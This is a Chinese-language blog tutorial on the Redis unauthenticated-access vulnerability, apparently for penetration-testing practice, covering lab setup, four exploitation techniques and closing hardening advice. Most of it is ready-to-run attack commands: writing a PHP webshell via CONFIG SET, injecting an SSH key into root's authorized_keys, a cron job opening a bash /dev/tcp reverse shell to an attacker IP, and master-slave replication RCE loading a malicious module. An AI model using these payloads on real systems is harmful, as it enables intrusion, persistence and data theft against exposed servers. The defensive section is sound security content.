Redis未授权访问漏洞实战:从环境搭建到多种利用手法详解

发布时间:2026/7/28 6:45:51

Redis未授权访问漏洞实战:从环境搭建到多种利用手法详解 1. Redis未授权访问漏洞概述Redis作为高性能的内存数据库默认配置下存在一个致命的安全隐患——未授权访问漏洞。简单来说这就像你家大门没上锁任何人都能随意进出。我在实际渗透测试中遇到过不少企业因此中招轻则数据泄露重则服务器沦陷。这个漏洞的核心在于Redis服务默认监听在0.0.0.0:6379端口且初始安装后没有启用认证机制。去年给某公司做安全评估时他们用的Redis 5.0.8版本就因为这个漏洞导致客户数据被爬取。攻击者无需任何凭证就能直接连接Redis服务执行任意命令。典型危害场景主要有三类数据泄露直接读取数据库中的所有键值对包括可能存储的敏感信息数据破坏执行FLUSHALL命令清空整个数据库系统入侵通过写入计划任务、SSH密钥等方式获取服务器控制权2. 漏洞环境搭建实战2.1 靶机环境配置我推荐使用CentOS 7作为实验环境这个系统在企业中使用广泛。以下是具体搭建步骤# 安装编译依赖 yum install -y gcc make wget # 下载Redis 4.0.14受影响版本的典型代表 wget http://download.redis.io/releases/redis-4.0.14.tar.gz tar xzf redis-4.0.14.tar.gz cd redis-4.0.14 # 编译安装 make make install安装完成后需要关闭保护模式这是复现漏洞的关键# 修改redis.conf sed -i s/protected-mode yes/protected-mode no/g redis.conf sed -i s/bind 127.0.0.1/#bind 127.0.0.1/g redis.conf # 启动服务 redis-server redis.conf2.2 攻击机环境准备Kali Linux天然适合作为攻击机但需要安装redis-cli工具apt update apt install -y redis-tools验证连接是否成功redis-cli -h 靶机IP info当看到返回Redis版本信息时说明环境搭建成功。我遇到过连接失败的情况通常是防火墙没关可以执行systemctl stop firewalld临时关闭。3. 四种经典利用手法详解3.1 WebShell写入攻击这是最直接的利用方式但需要满足两个前提目标服务器运行Web服务已知网站绝对路径如/var/www/html具体操作流程# 设置保存目录为网站根目录 config set dir /var/www/html # 设置数据库文件名 config set dbfilename shell.php # 写入PHP代码 set payload ?php system($_GET[cmd]); ? # 保存到磁盘 save写入成功后访问http://目标IP/shell.php?cmdid就能执行系统命令。实测时要注意文件权限问题最好提前用chmod 777 /var/www/html设置目录可写。3.2 SSH公钥注入这种方法适合获取服务器持久化访问权限原理是将攻击者的SSH公钥写入目标的authorized_keys文件# 本地生成密钥对 ssh-keygen -t rsa -f /tmp/redis_key # 将公钥格式化后写入Redis (echo -e \n; cat /tmp/redis_key.pub; echo -e \n) /tmp/key.txt cat /tmp/key.txt | redis-cli -h 靶机IP -x set ssh_key # 设置保存路径为SSH密钥目录 redis-cli -h 靶机IP config set dir /root/.ssh redis-cli -h 靶机IP config set dbfilename authorized_keys redis-cli -h 靶机IP save成功后即可用私钥登录ssh -i /tmp/redis_key root靶机IP。需要注意的是这种方法要求Redis以root权限运行且.ssh目录已存在。3.3 定时任务反弹Shell当需要交互式控制时可以采用定时任务反弹Shell# 攻击机先监听 nc -lvnp 4444 # 通过Redis写入定时任务 redis-cli -h 靶机IP config set dir /var/spool/cron redis-cli -h 靶机IP config set dbfilename root redis-cli -h 靶机IP set payload \n\n*/1 * * * * /bin/bash -c sh -i /dev/tcp/攻击机IP/4444 01\n\n redis-cli -h 靶机IP save这个方法的优点是隐蔽性强缺点是执行有分钟级延迟。我在内网渗透测试中经常用这个手法成功率很高。3.4 主从复制RCE这是较新的利用方式适用于Redis 4.x-5.x版本通过加载恶意.so文件实现RCE# 下载利用工具 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand make # 执行攻击 python3 redis-rce.py -r 靶机IP -L 攻击机IP -f module.so这种方式的优势是能直接获取系统权限但依赖外部工具。实际测试中发现某些安全设备会拦截.so文件传输需要做流量加密。4. 防御措施建议根据多年安全运维经验我总结出以下防护方案网络层隔离配置防火墙规则仅允许可信IP访问6379端口修改Redis默认端口需同步调整业务配置服务层加固# 强制开启认证 echo requirepass 复杂密码 /etc/redis.conf # 限制高危命令 rename-command FLUSHALL rename-command CONFIG 系统层防护以低权限用户运行Redis服务定期检查crontab和.ssh目录异常项监控措施对Redis的CONFIG、SAVE等敏感命令进行审计部署文件完整性监控重点检测web目录和系统关键位置在一次金融行业渗透测试中我们发现某系统虽然设置了密码认证但通过其他漏洞获取密码后仍然可以利用上述手法入侵。因此真正的安全需要纵深防御单一措施往往不够。

相关新闻